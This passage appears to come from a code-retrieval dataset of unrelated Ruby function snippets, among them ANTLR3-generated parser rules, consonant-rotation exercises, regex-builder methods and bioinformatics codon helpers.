trail_marker) if trail_marker.mark(leader.name)\n end\n end\n end\n elsif name.character_range?() then\n determinants[name.name] = true\n else\n determinants[Plan::Symbol.new(name, :token)] = true\n end\n \n into.update( determinants ) unless into.nil?\n\n\n #\n # Cache the answer and return.\n \n @syntactic_determinants[name] = determinants.keys if complete\n return into.nil? ? determinants.keys : into\n end\n end", "def find_complemental_infix\n verb, complement = @word.chars\n\n if complement == \"得\"\n query = \"#{verb} 不得\"\n else\n query = \"#{verb} 不|得 #{complement}\"\n end\n @complemental_infix = query_leeds_corpus(query) do |context|\n context.match.map(&:text).join\n end\n\n report_words_with_frequency(\"Complemental Infixes\", @complemental_infix)\n end", "def next_consonant(name)\n\tconsonants = %w( b c d f g h j k l m n p q r s t v x y z)\n\t\tname = name.downcase.split('')\n\t\tnew_name = name.map do |con|\n\t\tif consonants.include?(con)\n\t\t\tconsonants.rotate(1)[consonants.index(con)]\n\t\telsif consonants == 'z'\n\t\t\tconsonants.replace('b')\n\t\telse\n\t\t\tcon\n\t\tend\n\tend\n\tnew_name.join.capitalize\nend", "def reduce_non_digit(_production, _range, _tokens, _children)\n char_shorthand('D')\n end", "def test_start_string\n pros = Prospector.new(0,0,0)\n assert pros.start_string.eql? 'Rubyist #0 starting in Enumerable Canyon.'\n end", "def reduce_none_of(_production, _range, _tokens, theChildren)\n raw_literal = theChildren[-1].token.lexeme.dup\n chars = raw_literal.chars.map do |ch|\n Regex::Character.new(ch)\n end\n Regex::CharClass.new(true, *chars)\n end", "def make_syllable\n structure = self.structure.chars\n\n while true\n syll = ''\n structure.each do |ptype|\n # If the char is '?', skip with 50% chance to remove last character\n # (think RegEx usage of '?')\n if ptype == '?'\n if rand < 0.5\n syll = syll[0...syll.length - 1]\n end\n next\n end\n\n syll << choose(self.phonemes[ptype], self.exponent)\n end\n\n # Make sure this syllable doesn't violate a restriction\n bad = false\n self.restricts.each do |regex|\n if /#{regex}/ =~ syll\n bad = true\n break\n end\n end\n next if bad\n\n return spell(syll)\n end\n end", "def next_cons(name)\n cons=\"bcdfghjklmnpqrstvwxyz\"\n\tindex = 0\n\twhile index < name.length\n\t i_name = name[index]\n\t\tif ( cons.index(\"#{i_name}\") != nil ) and ( cons.index(\"#{i_name}\") != 20 )\n\t\t\tname[index] = cons[cons.index(\"#{i_name}\") + 1]\n\t\t\tindex += 1\n\t\telsif cons.index(\"#{i_name}\") == 20\n\t\t\tname[index] = cons[0]\n\t\t\tindex += 1\n\t\telse\n\t\t\tindex += 1\n\t\tend\n\tend\n\treturn name\nend", "def char_sequences(code)\n code.scan(/((.)\\2*)/)\n end", "def get_starting_letter\n random_number = @random_number_generator.rand(0.0..1.0)\n\n @pair_probability_table.frequencies.select do |k, v|\n k[0] == ' ' && k[1] != ' ' && v >= random_number\n end.keys.sort.first[1]\n end", "def coding_region_cdna_start\n answer = 0\n \n self.exons.each do |exon|\n if exon == self.translation.start_exon\n answer += self.translation.seq_start\n return answer\n else\n answer += exon.length\n end\n end\n \n end", "def find_missing_letter(range)\n # result = []\n # prev_char = \"\"\n # array = range.split(\"\")\n\n # array.each do |char|\n # if prev_char.next != char\n # result << prev_char.next\n # end\n # prev_char = char\n # end\n # result\n\n first_letter = range[0]\n last_letter = range[-1]\n\n test_range = (first_letter..last_letter).to_a\n result = \"\"\n\n test_range.each do |letter|\n result += letter unless range.include?(letter)\n end\n \n result != \"\" ? result : nil \nend", "def range_lower_alphas\n [ range(:lower_alphas) ]\n end", "def reduce_any_uppercase(_production, _range, _tokens, _children)\n ch_range = char_range('A', 'Z')\n char_class(false, ch_range)\n end", "def determine_token_slot(name)\n slot = name.split.shift.downcase\n\n case slot\n when 'chest'\n 'Chest'\n when 'gauntlets'\n 'Hands'\n when 'crown'\n 'Head'\n when 'helm'\n 'Head'\n when 'leggings'\n 'Legs'\n when 'mantle'\n 'Shoulder'\n when 'shoulders'\n 'Shoulder'\n end\n end", "def var!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 6 )\n\n type = VAR\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 38:7: ( 'a' .. 'z' )+\n # at file 38:7: ( 'a' .. 'z' )+\n match_count_2 = 0\n while true\n alt_2 = 2\n look_2_0 = @input.peek( 1 )\n\n if ( look_2_0.between?( 0x61, 0x7a ) )\n alt_2 = 1\n\n end\n case alt_2\n when 1\n # at line 38:8: 'a' .. 'z'\n match_range( 0x61, 0x7a )\n\n else\n match_count_2 > 0 and break\n eee = EarlyExit(2)\n\n\n raise eee\n end\n match_count_2 += 1\n end\n\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 6 )\n\n end", "def start(raw)\n typ = Tokenizer::DEFAULT_TOKEN_TABLE\n letters = raw.dup.split(\"\")\n tokens = []\n\n while (ch = letters.shift) != nil\n tokens.push(typ[ch])\n end\n\n return tokens\n end", "def name!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 44 )\n\n type = NAME\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 383:7: ( LETTER | '_' | ':' ) ( NAMECHAR )*\n if @input.peek(1) == 0x3a || @input.peek( 1 ).between?( 0x41, 0x5a ) || @input.peek(1) == 0x5f || @input.peek( 1 ).between?( 0x61, 0x7a )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n end\n\n\n # at line 383:29: ( NAMECHAR )*\n while true # decision 6\n alt_6 = 2\n look_6_0 = @input.peek( 1 )\n\n if ( look_6_0.between?( 0x2d, 0x2e ) || look_6_0.between?( 0x30, 0x3a ) || look_6_0.between?( 0x41, 0x5a ) || look_6_0 == 0x5f || look_6_0.between?( 0x61, 0x7a ) )\n alt_6 = 1\n\n end\n case alt_6\n when 1\n # at line 383:30: NAMECHAR\n namechar!\n\n else\n break # out of loop for decision 6\n end\n end # loop for decision 6\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 44 )\n\n end", "def rule_scope_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 13 )\n return_value = RuleScopeSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal62 = nil\n __ACTION63__ = nil\n string_literal64 = nil\n char_literal66 = nil\n char_literal68 = nil\n string_literal69 = nil\n __ACTION70__ = nil\n string_literal71 = nil\n char_literal73 = nil\n char_literal75 = nil\n id65 = nil\n id67 = nil\n id72 = nil\n id74 = nil\n\n tree_for_string_literal62 = nil\n tree_for_ACTION63 = nil\n tree_for_string_literal64 = nil\n tree_for_char_literal66 = nil\n tree_for_char_literal68 = nil\n tree_for_string_literal69 = nil\n tree_for_ACTION70 = nil\n tree_for_string_literal71 = nil\n tree_for_char_literal73 = nil\n tree_for_char_literal75 = nil\n stream_T__80 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__80\" )\n stream_T__71 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__71\" )\n stream_SCOPE = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token SCOPE\" )\n stream_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token ACTION\" )\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule id\" )\n begin\n # at line 177:2: ( 'scope' ACTION -> ^( 'scope' ACTION ) | 'scope' id ( ',' id )* ';' -> ^( 'scope' ( id )+ ) | 'scope' ACTION 'scope' id ( ',' id )* ';' -> ^( 'scope' ACTION ( id )+ ) )\n alt_29 = 3\n look_29_0 = @input.peek( 1 )\n\n if ( look_29_0 == SCOPE )\n look_29_1 = @input.peek( 2 )\n\n if ( look_29_1 == ACTION )\n look_29_2 = @input.peek( 3 )\n\n if ( look_29_2 == SCOPE )\n alt_29 = 3\n elsif ( look_29_2 == AT || look_29_2 == T__78 )\n alt_29 = 1\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 29, 2 )\n end\n elsif ( look_29_1 == TOKEN_REF || look_29_1 == RULE_REF )\n alt_29 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 29, 1 )\n end\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 29, 0 )\n end\n case alt_29\n when 1\n # at line 177:4: 'scope' ACTION\n string_literal62 = match( SCOPE, TOKENS_FOLLOWING_SCOPE_IN_rule_scope_spec_1030 )\n if @state.backtracking == 0\n stream_SCOPE.add( string_literal62 )\n end\n __ACTION63__ = match( ACTION, TOKENS_FOLLOWING_ACTION_IN_rule_scope_spec_1032 )\n if @state.backtracking == 0\n stream_ACTION.add( __ACTION63__ )\n end\n # AST Rewrite\n # elements: ACTION, SCOPE\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 177:19: -> ^( 'scope' ACTION )\n # at line 177:22: ^( 'scope' ACTION )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_SCOPE.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_ACTION.next_node )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 178:4: 'scope' id ( ',' id )* ';'\n string_literal64 = match( SCOPE, TOKENS_FOLLOWING_SCOPE_IN_rule_scope_spec_1045 )\n if @state.backtracking == 0\n stream_SCOPE.add( string_literal64 )\n end\n @state.following.push( TOKENS_FOLLOWING_id_IN_rule_scope_spec_1047 )\n id65 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id65.tree )\n end\n # at line 178:15: ( ',' id )*\n while true # decision 27\n alt_27 = 2\n look_27_0 = @input.peek( 1 )\n\n if ( look_27_0 == T__80 )\n alt_27 = 1\n\n end\n case alt_27\n when 1\n # at line 178:16: ',' id\n char_literal66 = match( T__80, TOKENS_FOLLOWING_T__80_IN_rule_scope_spec_1050 )\n if @state.backtracking == 0\n stream_T__80.add( char_literal66 )\n end\n @state.following.push( TOKENS_FOLLOWING_id_IN_rule_scope_spec_1052 )\n id67 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id67.tree )\n end\n\n else\n break # out of loop for decision 27\n end\n end # loop for decision 27\n char_literal68 = match( T__71, TOKENS_FOLLOWING_T__71_IN_rule_scope_spec_1056 )\n if @state.backtracking == 0\n stream_T__71.add( char_literal68 )\n end\n # AST Rewrite\n # elements: id, SCOPE\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 178:29: -> ^( 'scope' ( id )+ )\n # at line 178:32: ^( 'scope' ( id )+ )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_SCOPE.next_node, root_1 )\n\n # at line 178:42: ( id )+\n stream_id.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_id.has_next?\n @adaptor.add_child( root_1, stream_id.next_tree )\n\n end\n stream_id.reset\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 3\n # at line 179:4: 'scope' ACTION 'scope' id ( ',' id )* ';'\n string_literal69 = match( SCOPE, TOKENS_FOLLOWING_SCOPE_IN_rule_scope_spec_1070 )\n if @state.backtracking == 0\n stream_SCOPE.add( string_literal69 )\n end\n __ACTION70__ = match( ACTION, TOKENS_FOLLOWING_ACTION_IN_rule_scope_spec_1072 )\n if @state.backtracking == 0\n stream_ACTION.add( __ACTION70__ )\n end\n string_literal71 = match( SCOPE, TOKENS_FOLLOWING_SCOPE_IN_rule_scope_spec_1076 )\n if @state.backtracking == 0\n stream_SCOPE.add( string_literal71 )\n end\n @state.following.push( TOKENS_FOLLOWING_id_IN_rule_scope_spec_1078 )\n id72 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id72.tree )\n end\n # at line 180:14: ( ',' id )*\n while true # decision 28\n alt_28 = 2\n look_28_0 = @input.peek( 1 )\n\n if ( look_28_0 == T__80 )\n alt_28 = 1\n\n end\n case alt_28\n when 1\n # at line 180:15: ',' id\n char_literal73 = match( T__80, TOKENS_FOLLOWING_T__80_IN_rule_scope_spec_1081 )\n if @state.backtracking == 0\n stream_T__80.add( char_literal73 )\n end\n @state.following.push( TOKENS_FOLLOWING_id_IN_rule_scope_spec_1083 )\n id74 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id74.tree )\n end\n\n else\n break # out of loop for decision 28\n end\n end # loop for decision 28\n char_literal75 = match( T__71, TOKENS_FOLLOWING_T__71_IN_rule_scope_spec_1087 )\n if @state.backtracking == 0\n stream_T__71.add( char_literal75 )\n end\n # AST Rewrite\n # elements: id, ACTION, SCOPE\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 181:3: -> ^( 'scope' ACTION ( id )+ )\n # at line 181:6: ^( 'scope' ACTION ( id )+ )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_SCOPE.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_ACTION.next_node )\n # at line 181:23: ( id )+\n stream_id.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_id.has_next?\n @adaptor.add_child( root_1, stream_id.next_tree )\n\n end\n stream_id.reset\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 13 )\n\n end\n \n return return_value\n end", "def consonants(consonants_letter)\r\n consonants = \"bcdefghjklmnpqrstvwxyz\"\r\n current_location = consonants.index(consonants_letter)\r\n new_consonants = current_location + 1\r\n if consonants.index(consonants_letter) == 21\r\n results = \"b\"\r\n else\r\n results = consonants[new_consonants]\r\n end\r\n results\r\nend", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 21 )\n return_value = TermReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n begin\n # at line 137:10: LOALPHA ( LOALPHA | DIGIT | '-' | '_' )*\n match(LOALPHA, TOKENS_FOLLOWING_LOALPHA_IN_term_876)\n # at line 137:18: ( LOALPHA | DIGIT | '-' | '_' )*\n while true # decision 33\n alt_33 = 2\n look_33_0 = @input.peek(1)\n\n if (look_33_0 == LOALPHA || look_33_0 == DIGIT || look_33_0 == T__30 || look_33_0 == T__39)\n alt_33 = 1\n\n end\n case alt_33\n when 1\n # at line\n if @input.peek(1) == LOALPHA || @input.peek(1) == DIGIT || @input.peek(1) == T__30 || @input.peek(1) == T__39\n @input.consume\n @state.error_recovery = false\n else\n mse = MismatchedSet(nil)\n raise mse\n end\n\n\n else\n break # out of loop for decision 33\n end\n end # loop for decision 33\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 21 )\n\n end\n\n return return_value\n end", "def reduce_begin_with(_production, _range, _tokens, _children)\n begin_anchor\n end", "def next_consonant(name)\n\tconsonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \n\t\t\"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\tindex = 0\n\tname = name.split('') # string to array\n\tname_change2 = name.map do |letter| \n\t\tif consonants.include? letter \n\t\t\tconsonants.rotate(1)[consonants.index(letter)]\n\t\telse\n\t\t\tletter\n\t\tend\n\tend\n\tname_change2.join\t# new array convert back to string\nend", "def start_of_word; end", "def poss( syn )\n cod = SITE_SYNONYMITY[nuc_codon.join]\n return [] unless cod\n\n pos_codon\n .zip(cod.split(\"\"))\n .select{|p| p.last == (syn=='syn' ? 's' : 'n')}\n .map(&:first)\n end", "def constant!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 11)\n\n type = CONSTANT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 127:5: 'A' .. 'Z' ( 'a' .. 'z' | '_' | 'A' .. 'Z' | '0' .. '9' )*\n match_range(?A, ?Z)\n # at line 127:14: ( 'a' .. 'z' | '_' | 'A' .. 'Z' | '0' .. '9' )*\n while true # decision 1\n alt_1 = 2\n look_1_0 = @input.peek(1)\n\n if (look_1_0.between?(?0, ?9) || look_1_0.between?(?A, ?Z) || look_1_0 == ?_ || look_1_0.between?(?a, ?z)) \n alt_1 = 1\n\n end\n case alt_1\n when 1\n # at line \n if @input.peek(1).between?(?0, ?9) || @input.peek(1).between?(?A, ?Z) || @input.peek(1) == ?_ || @input.peek(1).between?(?a, ?z)\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n else\n break # out of loop for decision 1\n end\n end # loop for decision 1\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 11)\n\n end", "def startstop minsize=30\n stopstop(minsize).find_all { | orf | \n codon1= orf.nt.seq[0..2].upcase\n ['ATG','TTG','CTG','AUG','UUG','CUG'].index(codon1) != nil\n }\n end", "def unicode_basic\n self.each_char.select do |x|\n (cp=x.codepoints.first) <= 0xFFFF && cp >= 0x20\n end.join\n end", "def lex_en_expr_mid; end", "def lex_en_expr_mid; end", "def lex_en_expr_mid; end", "def rule_scope_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 13)\n return_value = RuleScopeSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal62 = nil\n __ACTION63__ = nil\n string_literal64 = nil\n char_literal66 = nil\n char_literal68 = nil\n string_literal69 = nil\n __ACTION70__ = nil\n string_literal71 = nil\n char_literal73 = nil\n char_literal75 = nil\n id65 = nil\n id67 = nil\n id72 = nil\n id74 = nil\n\n tree_for_string_literal62 = nil\n tree_for_ACTION63 = nil\n tree_for_string_literal64 = nil\n tree_for_char_literal66 = nil\n tree_for_char_literal68 = nil\n tree_for_string_literal69 = nil\n tree_for_ACTION70 = nil\n tree_for_string_literal71 = nil\n tree_for_char_literal73 = nil\n tree_for_char_literal75 = nil\n stream_T__80 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__80\")\n stream_T__71 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__71\")\n stream_SCOPE = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token SCOPE\")\n stream_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token ACTION\")\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule id\")\n begin\n # at line 186:2: ( 'scope' ACTION -> ^( 'scope' ACTION ) | 'scope' id ( ',' id )* ';' -> ^( 'scope' ( id )+ ) | 'scope' ACTION 'scope' id ( ',' id )* ';' -> ^( 'scope' ACTION ( id )+ ) )\n alt_29 = 3\n look_29_0 = @input.peek(1)\n\n if (look_29_0 == SCOPE) \n look_29_1 = @input.peek(2)\n\n if (look_29_1 == ACTION) \n look_29_2 = @input.peek(3)\n\n if (look_29_2 == SCOPE) \n alt_29 = 3\n elsif (look_29_2 == AT || look_29_2 == T__78) \n alt_29 = 1\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 29, 2)\n raise nvae\n end\n elsif (look_29_1 == TOKEN_REF || look_29_1 == RULE_REF) \n alt_29 = 2\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 29, 1)\n raise nvae\n end\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n nvae = NoViableAlternative(\"\", 29, 0)\n raise nvae\n end\n case alt_29\n when 1\n # at line 186:4: 'scope' ACTION\n string_literal62 = match(SCOPE, TOKENS_FOLLOWING_SCOPE_IN_rule_scope_spec_1035) \n if @state.backtracking == 0\n stream_SCOPE.add(string_literal62)\n end\n __ACTION63__ = match(ACTION, TOKENS_FOLLOWING_ACTION_IN_rule_scope_spec_1037) \n if @state.backtracking == 0\n stream_ACTION.add(__ACTION63__)\n end\n # AST Rewrite\n # elements: SCOPE, ACTION\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 186:19: -> ^( 'scope' ACTION )\n # at line 186:22: ^( 'scope' ACTION )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_SCOPE.next_node, root_1)\n\n @adaptor.add_child(root_1, stream_ACTION.next_node)\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 187:4: 'scope' id ( ',' id )* ';'\n string_literal64 = match(SCOPE, TOKENS_FOLLOWING_SCOPE_IN_rule_scope_spec_1050) \n if @state.backtracking == 0\n stream_SCOPE.add(string_literal64)\n end\n @state.following.push(TOKENS_FOLLOWING_id_IN_rule_scope_spec_1052)\n id65 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add(id65.tree)\n end\n # at line 187:15: ( ',' id )*\n loop do #loop 27\n alt_27 = 2\n look_27_0 = @input.peek(1)\n\n if (look_27_0 == T__80) \n alt_27 = 1\n\n end\n case alt_27\n when 1\n # at line 187:16: ',' id\n char_literal66 = match(T__80, TOKENS_FOLLOWING_T__80_IN_rule_scope_spec_1055) \n if @state.backtracking == 0\n stream_T__80.add(char_literal66)\n end\n @state.following.push(TOKENS_FOLLOWING_id_IN_rule_scope_spec_1057)\n id67 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add(id67.tree)\n end\n\n else\n break #loop 27\n end\n end\n char_literal68 = match(T__71, TOKENS_FOLLOWING_T__71_IN_rule_scope_spec_1061) \n if @state.backtracking == 0\n stream_T__71.add(char_literal68)\n end\n # AST Rewrite\n # elements: id, SCOPE\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 187:29: -> ^( 'scope' ( id )+ )\n # at line 187:32: ^( 'scope' ( id )+ )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_SCOPE.next_node, root_1)\n\n # at line 187:42: ( id )+\n unless stream_id.has_next?\n raise ANTLR3::RewriteEarlyExit\n end\n\n while stream_id.has_next?\n @adaptor.add_child(root_1, stream_id.next_tree)\n\n end\n\n stream_id.reset\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end\n when 3\n # at line 188:4: 'scope' ACTION 'scope' id ( ',' id )* ';'\n string_literal69 = match(SCOPE, TOKENS_FOLLOWING_SCOPE_IN_rule_scope_spec_1075) \n if @state.backtracking == 0\n stream_SCOPE.add(string_literal69)\n end\n __ACTION70__ = match(ACTION, TOKENS_FOLLOWING_ACTION_IN_rule_scope_spec_1077) \n if @state.backtracking == 0\n stream_ACTION.add(__ACTION70__)\n end\n string_literal71 = match(SCOPE, TOKENS_FOLLOWING_SCOPE_IN_rule_scope_spec_1081) \n if @state.backtracking == 0\n stream_SCOPE.add(string_literal71)\n end\n @state.following.push(TOKENS_FOLLOWING_id_IN_rule_scope_spec_1083)\n id72 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add(id72.tree)\n end\n # at line 189:14: ( ',' id )*\n loop do #loop 28\n alt_28 = 2\n look_28_0 = @input.peek(1)\n\n if (look_28_0 == T__80) \n alt_28 = 1\n\n end\n case alt_28\n when 1\n # at line 189:15: ',' id\n char_literal73 = match(T__80, TOKENS_FOLLOWING_T__80_IN_rule_scope_spec_1086) \n if @state.backtracking == 0\n stream_T__80.add(char_literal73)\n end\n @state.following.push(TOKENS_FOLLOWING_id_IN_rule_scope_spec_1088)\n id74 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add(id74.tree)\n end\n\n else\n break #loop 28\n end\n end\n char_literal75 = match(T__71, TOKENS_FOLLOWING_T__71_IN_rule_scope_spec_1092) \n if @state.backtracking == 0\n stream_T__71.add(char_literal75)\n end\n # AST Rewrite\n # elements: ACTION, SCOPE, id\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 190:3: -> ^( 'scope' ACTION ( id )+ )\n # at line 190:6: ^( 'scope' ACTION ( id )+ )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_SCOPE.next_node, root_1)\n\n @adaptor.add_child(root_1, stream_ACTION.next_node)\n # at line 190:23: ( id )+\n unless stream_id.has_next?\n raise ANTLR3::RewriteEarlyExit\n end\n\n while stream_id.has_next?\n @adaptor.add_child(root_1, stream_id.next_tree)\n\n end\n\n stream_id.reset\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 13)\n\n end\n \n return return_value\n end", "def initials\n initials = name.split(/\\s+/).map { |n| n[0].chr }.join('')\n initials.downcase\n end", "def find_missing_letter(range)\n results = []\n range.chars.each_slice(2) do |a, b|\n next if b.nil?\n results << a.next unless a.next == b\n end\n\n return nil if results.empty?\n results\nend", "def find_variable_range(lines, start_index)\n closing_brace_index = 0\n\n lines[start_index..-1].each_with_index do |line, idx|\n\n # ignore maps and lists\n if line =~ /default/ && (line =~ /\\[/ || line =~ /\\{/)\n return nil\n end\n\n if line =~ /^\\}$/\n closing_brace_index = idx\n break\n end\n end\n\n lines[start_index..start_index + closing_brace_index]\n end", "def char\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 59 )\n\n\n return_value = CharReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __COMILLA321__ = nil\n set322 = nil\n __COMILLA323__ = nil\n\n\n tree_for_COMILLA321 = nil\n tree_for_set322 = nil\n tree_for_COMILLA323 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 569:10: COMILLA ( EscapeSequence |~ ( '\\\\'' | '\\\\\\\\' ) ) COMILLA\n __COMILLA321__ = match( COMILLA, TOKENS_FOLLOWING_COMILLA_IN_char_2781 )\n if @state.backtracking == 0\n tree_for_COMILLA321 = @adaptor.create_with_payload( __COMILLA321__ )\n @adaptor.add_child( root_0, tree_for_COMILLA321 )\n\n end\n\n\n set322 = @input.look\n\n if @input.peek( 1 ).between?( ASIGNACION, COMA ) || @input.peek( 1 ).between?( CORDER, WS ) || @input.peek( 1 ).between?( T__81, T__82 )\n @input.consume\n if @state.backtracking == 0\n @adaptor.add_child( root_0, @adaptor.create_with_payload( set322 ) )\n end\n\n @state.error_recovery = false\n\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n mse = MismatchedSet( nil )\n raise mse\n\n end\n\n\n __COMILLA323__ = match( COMILLA, TOKENS_FOLLOWING_COMILLA_IN_char_2798 )\n if @state.backtracking == 0\n tree_for_COMILLA323 = @adaptor.create_with_payload( __COMILLA323__ )\n @adaptor.add_child( root_0, tree_for_COMILLA323 )\n\n end\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n if @state.backtracking == 0\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = 